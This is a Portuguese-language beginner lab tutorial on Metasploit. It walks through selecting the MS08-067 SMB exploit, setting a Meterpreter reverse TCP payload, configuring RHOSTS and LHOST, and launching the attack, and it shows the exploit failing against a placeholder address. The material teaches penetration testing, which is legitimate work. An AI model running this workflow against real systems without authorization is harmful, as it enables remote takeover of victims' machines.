Utilizar um Payload de Reverse Shell no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os passos fundamentais para usar um payload de reverse shell dentro do Metasploit Framework. Metasploit é uma poderosa ferramenta de teste de penetração que vem com uma vasta biblioteca de exploits, payloads e módulos auxiliares.

Um "payload" é o código que é executado no sistema alvo após um exploit comprometer com sucesso. Um "reverse shell" é um tipo de payload onde a máquina alvo comprometida inicia uma conexão de volta para a máquina do atacante. Esta técnica é frequentemente usada para contornar firewalls que podem bloquear conexões de entrada para o alvo, mas permitem conexões de saída.

Usaremos o payload windows/meterpreter/reverse_tcp. Meterpreter é um payload avançado e rico em recursos que fornece um shell interativo, permitindo ao atacante executar comandos, fazer upload/download de arquivos e realizar muitas outras atividades pós-exploração.

Ao final deste laboratório, você entenderá o fluxo de trabalho para selecionar um exploit, configurar um payload de reverse shell e lançar o ataque.

Selecionar um módulo de exploit para um alvo

Nesta etapa, iniciaremos o console do Metasploit Framework e selecionaremos um módulo de exploit. Um exploit é um pedaço de código que se aproveita de uma vulnerabilidade específica em um sistema. Para este laboratório, usaremos um exploit bem conhecido para fins educacionais.

Primeiro, abra um terminal a partir do seu desktop.

Agora, inicie o console do Metasploit. Usaremos o flag -q para um lançamento "quiet" (silencioso), que suprime o banner de inicialização.

msfconsole -q

Assim que o Metasploit for carregado, você verá o prompt msf6 >. Esta é a interface de linha de comando do Metasploit.

Nossa próxima ação é selecionar um exploit. Usaremos o comando use seguido pelo nome do módulo de exploit. Para este laboratório, visaremos a vulnerabilidade MS08-067, um exploit clássico e confiável para sistemas Windows mais antigos.

Digite o seguinte comando no prompt msf6 >:

use exploit/windows/smb/ms08_067_netapi

Após pressionar Enter, você notará que o prompt muda. Ele agora inclui o nome do exploit selecionado, indicando que você está no contexto deste módulo.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Você agora selecionou com sucesso um módulo de exploit e está pronto para configurá-lo.

Definir o payload para windows/meterpreter/reverse_tcp

Nesta etapa, você definirá o payload para o exploit selecionado. Um payload é o código que será executado na máquina alvo após o exploit ser bem-sucedido. Conforme mencionado na introdução, usaremos um payload Meterpreter de reverse TCP.

O Metasploit pode ter definido este payload por padrão ao selecionar o exploit (como visto na saída da etapa anterior), mas é uma boa prática defini-lo explicitamente para garantir que o payload correto esteja configurado.

No prompt msf6 exploit(windows/smb/ms08_067_netapi) >, use o comando set payload:

set payload windows/meterpreter/reverse_tcp

Após executar o comando, o Metasploit confirmará a alteração.

payload => windows/meterpreter/reverse_tcp

Para ver todas as opções que você pode configurar para o exploit e payload selecionados, você pode usar o comando show options. Este é um comando muito útil para ver quais parâmetros são necessários antes de lançar um ataque.

show options

Você verá uma lista de opções do módulo, opções do payload e alvos de exploit. Observe as opções RHOSTS e LHOST, que configuraremos nas próximas etapas.

Definir a opção RHOSTS para o exploit

Nesta etapa, configuraremos a opção RHOSTS. RHOSTS significa "Remote Host(s)" (Host(s) Remoto(s)) e especifica o endereço IP da máquina alvo que você deseja atacar.

Para que qualquer exploit funcione, você deve informar ao Metasploit para onde enviá-lo. O comando set é usado para configurar essas opções.

Em um cenário do mundo real, você teria identificado o endereço IP de um alvo através de reconhecimento. Para este laboratório, usaremos um endereço IP de placeholder.

No prompt msf6 exploit(...) >, defina RHOSTS para 10.0.2.15.

set RHOSTS 10.0.2.15

O Metasploit confirmará que a opção RHOSTS foi definida.

RHOSTS => 10.0.2.15

Agora você informou ao Metasploit qual máquina é o alvo.

Definir a opção LHOST para o seu IP do Kali

Nesta etapa, definiremos a opção LHOST. LHOST significa "Local Host" (Host Local) e deve ser definido para o endereço IP da sua máquina (a máquina do atacante). Este é um passo crucial para um reverse shell, pois informa ao alvo comprometido para onde se conectar de volta.

Para encontrar o endereço IP da sua máquina, você precisará abrir um novo terminal. Não feche o terminal msfconsole existente. Você pode abrir um novo terminal a partir do menu de aplicativos.

No novo terminal, execute o seguinte comando para exibir as informações da sua interface de rede:

ip addr show eth0

Você verá uma saída semelhante a esta. Procure pelo endereço inet, que é o seu IP.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

No exemplo acima, o endereço IP é 172.17.0.2. Anote o seu endereço IP.

Agora, volte para o seu terminal original com o prompt msfconsole. Use o comando set para configurar LHOST com o endereço IP que você acabou de encontrar. Substitua YOUR_IP_ADDRESS pelo seu IP real.

set LHOST YOUR_IP_ADDRESS

Por exemplo, se o seu IP fosse 172.17.0.2, o comando seria:

set LHOST 172.17.0.2

O Metasploit confirmará a configuração:

LHOST => 172.17.0.2

Todas as opções necessárias estão agora configuradas.

Executar o exploit e aguardar a conexão de retorno do alvo

Nesta etapa, com todas as opções configuradas, você lançará o exploit.

O comando exploit (ou seu alias, run) instrui o Metasploit a iniciar o listener para a conexão reversa e, em seguida, enviar o exploit para o alvo especificado em RHOSTS.

No prompt msf6 exploit(...) >, digite:

exploit

O Metasploit agora tentará executar o exploit contra o alvo. Você verá uma saída como esta:

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

Importante: Neste ambiente de laboratório, o exploit falhará porque não há uma máquina vulnerável real no endereço IP de placeholder 10.0.2.15. A saída "Exploit completed, but no session was created" é esperada.

Se este fosse um alvo real e vulnerável, e o exploit fosse bem-sucedido, você veria uma mensagem como "Meterpreter session 1 opened" e seu prompt mudaria para meterpreter >, dando a você controle total sobre o alvo.

Isso completa o processo de configuração e lançamento de um exploit com um payload de reverse shell. Para sair do Metasploit, digite exit.

exit

Resumo

Neste laboratório, você aprendeu o fluxo de trabalho fundamental para usar um payload de reverse shell no Metasploit Framework.

Você praticou os seguintes passos chave:

  1. Iniciar o console do Metasploit (msfconsole).
  2. Selecionar um módulo de exploit com o comando use.
  3. Definir um payload com o comando set payload.
  4. Configurar as opções necessárias, especificamente RHOSTS (o alvo) e LHOST (o IP do seu listener).
  5. Lançar o ataque com o comando exploit.

Você também aprendeu a diferença crítica entre RHOSTS e LHOST e por que definir LHOST corretamente é essencial para o sucesso de um reverse shell. Embora o exploit não tenha resultado em uma sessão neste ambiente simulado, você executou com sucesso todos os comandos necessários para um ataque no mundo real. Parabéns por completar o laboratório!